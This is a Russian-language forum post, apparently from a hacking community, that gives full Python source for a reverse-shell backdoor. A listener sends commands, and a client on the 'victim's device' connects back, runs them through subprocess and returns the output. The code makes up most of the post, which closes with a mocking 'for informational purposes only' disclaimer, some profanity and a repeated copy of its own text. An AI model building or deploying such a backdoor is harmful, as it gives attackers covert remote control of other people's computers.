Привет ребятки. Вместе с природой очистилось и мое сознание, настолько, что я вспомнил пароль> А так как последняя тема вроде как была с бэкдором из метасплоита на питоне, мы сегодня воссоздадим этот самый бэкдор и глянем таки, шо у него внутри. Погнали
Для написания сего инструмента мы будем использовать блага стандартной библиотеки, а именно ՝ os, subprocess ну и socket разумеется. Как говорил один мой рыжий товарищ :
Файлов будет 2, клиентское и серверное приложение соответственно. Начнем с сервера
И клиент:
Такс, ну щас попробуем, за неимением альтернативы, и злоумышленником и жертвой буду я сам, иии
Как видим команды выполняются, исполним еще несколько:
И, все как видим в порядке.
Такс, ну и что же мне пиздануть напоследок, хмм... Ну , во первых с вот-вот наступающим Новым Годом вас! Такая короткая статейка конечно так себе подарок, но и старик Чумной доктор это вам не Дед Мороз). Хочу... я много чего хочу, но конкретно сейчас, хочу пожелать вам счастья, здоровья и запасной печени, чтобы эти праздники **кхм** пережить...
P.s. Ну куда же мы без дисклеймера
На этом пожалуй все и не забывайте, что статья написана только для ознакомления, и вообще все это фотошоп, монтаж, бред, БДСМ и другие умные слова. А автор писал под диктовку высших сил, и в душе не ебет че только что произошло, вот. Через года два, дай Бог свидимся)
P.p.s Если лень переписывать, файлы найдете

Для написания сего инструмента мы будем использовать блага стандартной библиотеки, а именно ՝ os, subprocess ну и socket разумеется. Как говорил один мой рыжий товарищ :

Файлов будет 2, клиентское и серверное приложение соответственно. Начнем с сервера
Python:
# Импортируем модуль для работы с сокетами
import socket
#Объявляем несколько констант, они нам понадобяться попозже.
#Названия переменных говорят сами за себя. Наш айпи, порт, на котором мы ждем подключение
#размер буфера для входящих данных, ну и разделитель для метода split
SERVER_HOST = "0.0.0.0"
SERVER_PORT = 5003
BUFFER_SIZE = 1024 * 128
SEPARATOR = "---"
s = socket.socket() #Создаем экземпляр классa socket
s.bind((SERVER_HOST, SERVER_PORT)) #Кортежом передаем методу bind наш айпи и порт
s.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1) #Повторное использование IP-адреса и порта
s.listen(5) #Начинаем слушать
print(f"Слушаем {SERVER_HOST}:{SERVER_PORT} ...")
client_socket, client_address = s.accept() #Принимаем подключение
print(f"{client_address[0]}:{client_address[1]} Connected!")
cwd = client_socket.recv(BUFFER_SIZE).decode()#Декодируем байтовую строку
print("Рабочий каталог :", cwd)
#Начинамем бесконечный цикл, в котором отправляем команду нашему клиенту, который находиться на устройстве жертвы
#Получаем вывод команды, декодируем и вывдоим, и так до тех пор, пока мы не ввели команду "exit"
while True:
command = input(f"{cwd} $> ")
if not command.strip():
continue
client_socket.send(command.encode())
if command.lower() == "exit":
break
output = client_socket.recv(BUFFER_SIZE).decode('utf-8')
print("Вывод :", output)
results, cwd = output.split(SEPARATOR)
print(results)
#Отключаем клиента и закрываем сокет
client_socket.close()
s.close()
И клиент:
Python:
# Импортируем модуль для работы с сокетами
# Модуль для работы с операционной системой
# Модуль для запуска процессов из питона
import socket
import os
import subprocess
#Объявляем несколько констант, они нам понадобяться попозже.
#Названия переменных говорят сами за себя. Наш айпи, порт, на котором мы ждем подключение
#размер буфера для входящих данных, ну и разделитель для метода split
SERVER_HOST = "localhost"
SERVER_PORT = 5003
BUFFER_SIZE = 1024 * 128
SEPARATOR = "---"
s = socket.socket() #Создаем экземпляр классa socket
s.connect((SERVER_HOST, SERVER_PORT)) #Кортежом передаем методу connect айпи и порт нашего сервера
cwd = os.getcwd() #Получаем адрес каталога, в котором находимся
s.send(cwd.encode()) #Отправляем адрес серверу
#Начинаем бесконечный цикл, в котором получаем команду от сервера и исполняем
while True:
command = s.recv(BUFFER_SIZE).decode()
#Разделяем команду по разделителю, который мы создали раньше
splited_command = command.split(SEPARATOR)
if command.lower() == "exit": #если получаенная команда, это "exit", выходим из цикла и закрываем подключение
break
if "cd " in command: #Если "слово" cd присутствует в нашей команде
try:
"""
Удаляем "cd"
меняем каталог на тот, который указан в строке
"""
directory = str(command).replace('cd ', '').strip()
os.chdir(str(directory))
except FileNotFoundError as e: #если файл не найден, передаем ошибку
output = str(e)
else:
output = "" #Если ни один из исключений не произошел, переопределяем вывод в пустую строку
else: #А если это не команда "cd", просто исполняем эту команду и возвращаем вывод
output = subprocess.getoutput(command)
cwd = os.getcwd() #Получаем рабочий каталог
message = f"{output}{SEPARATOR}{cwd}" #Формируем наш ответ серверу
s.send(message.encode()) #Отправляем
#Если цикл прерван, закрываем сокет
s.close()
Такс, ну щас попробуем, за неимением альтернативы, и злоумышленником и жертвой буду я сам, иии

Как видим команды выполняются, исполним еще несколько:

И, все как видим в порядке.
Такс, ну и что же мне пиздануть напоследок, хмм... Ну , во первых с вот-вот наступающим Новым Годом вас! Такая короткая статейка конечно так себе подарок, но и старик Чумной доктор это вам не Дед Мороз). Хочу... я много чего хочу, но конкретно сейчас, хочу пожелать вам счастья, здоровья и запасной печени, чтобы эти праздники **кхм** пережить...
P.s. Ну куда же мы без дисклеймера
На этом пожалуй все и не забывайте, что статья написана только для ознакомления, и вообще все это фотошоп, монтаж, бред, БДСМ и другие умные слова. А автор писал под диктовку высших сил, и в душе не ебет че только что произошло, вот. Через года два, дай Бог свидимся)
P.p.s Если лень переписывать, файлы найдете